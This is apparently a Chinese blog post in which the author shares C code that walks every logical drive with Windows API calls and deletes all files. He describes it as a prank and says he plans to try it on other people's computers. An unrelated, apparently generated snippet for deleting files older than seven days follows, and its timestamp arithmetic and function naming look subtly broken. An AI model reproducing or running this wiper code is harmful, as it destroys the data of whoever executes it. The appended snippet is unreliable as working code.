用Windows API遍历所有文件并删除

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了)...

下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);

 do
 {
  if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
  {
   continue;
  }

  if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
  {
   sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
   DelFile(cNewPath);//递归
  }
  
//  MessageBox(NULL,data.cFileName,"Look",0);
  sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
  DeleteFile(cFullPath);
  
 }while(FindNextFile(hFind,&data));
 

}

int WINAPI WinMain(
  HINSTANCE hInstance,      // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,          // command line
  int nCmdShow              // show state
)
{

 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
  if(bit.test(ix))
  {
   Path[0]='A'+ix;
   DelFile(Path);
  }
 }
 return 0;
}


最后用了GetLogicalDrives这个API函数来判断本机有多少个分区,然后用sprintf格式化一下作为DelFile的参数.

等有机会拿到别人电脑上试试吧....

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是在Windows下使用C语言遍历目录并删除7天前的文件的示例代码: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #include <time.h> #define MAX_PATH_LEN 260 // 删除指定文件 void DeleteFile(char *filePath) { if (remove(filePath) != 0) { printf("删除文件 %s 失败。\n", filePath); } else { printf("删除文件 %s 成功。\n", filePath); } } // 遍历目录并删除7天前的文件 void TraverseDir(char *dirPath) { char file[MAX_PATH_LEN]; WIN32_FIND_DATA findFileData; HANDLE hFind; time_t nowTime, fileTime; double diffTime; nowTime = time(NULL); sprintf(file, "%s\\*.*", dirPath); hFind = FindFirstFile(file, &findFileData); if (hFind == INVALID_HANDLE_VALUE) { printf("无法打开目录 %s\n", dirPath); return; } do { if (strcmp(findFileData.cFileName, ".") == 0 || strcmp(findFileData.cFileName, "..") == 0) { continue; } sprintf(file, "%s\\%s", dirPath, findFileData.cFileName); if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { TraverseDir(file); } else { fileTime = (findFileData.ftLastWriteTime.dwHighDateTime << 32) + findFileData.ftLastWriteTime.dwLowDateTime; diffTime = difftime(nowTime, fileTime / 10000000 - 11644473600); if (diffTime >= 7 * 24 * 3600) { DeleteFile(file); } } } while (FindNextFile(hFind, &findFileData)); FindClose(hFind); } int main(int argc, char *argv[]) { if (argc != 2) { printf("用法: %s 目录路径\n", argv[0]); return 0; } TraverseDir(argv[1]); return 0; } ``` 该程序的主要思路是利用Windows API函数`FindFirstFile()`和`FindNextFile()`遍历目录中的所有文件和子目录,并使用`difftime()`函数计算文件最后修改时间和当前时间之间的时间差。如果时间差大于等于7天,则删除文件
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值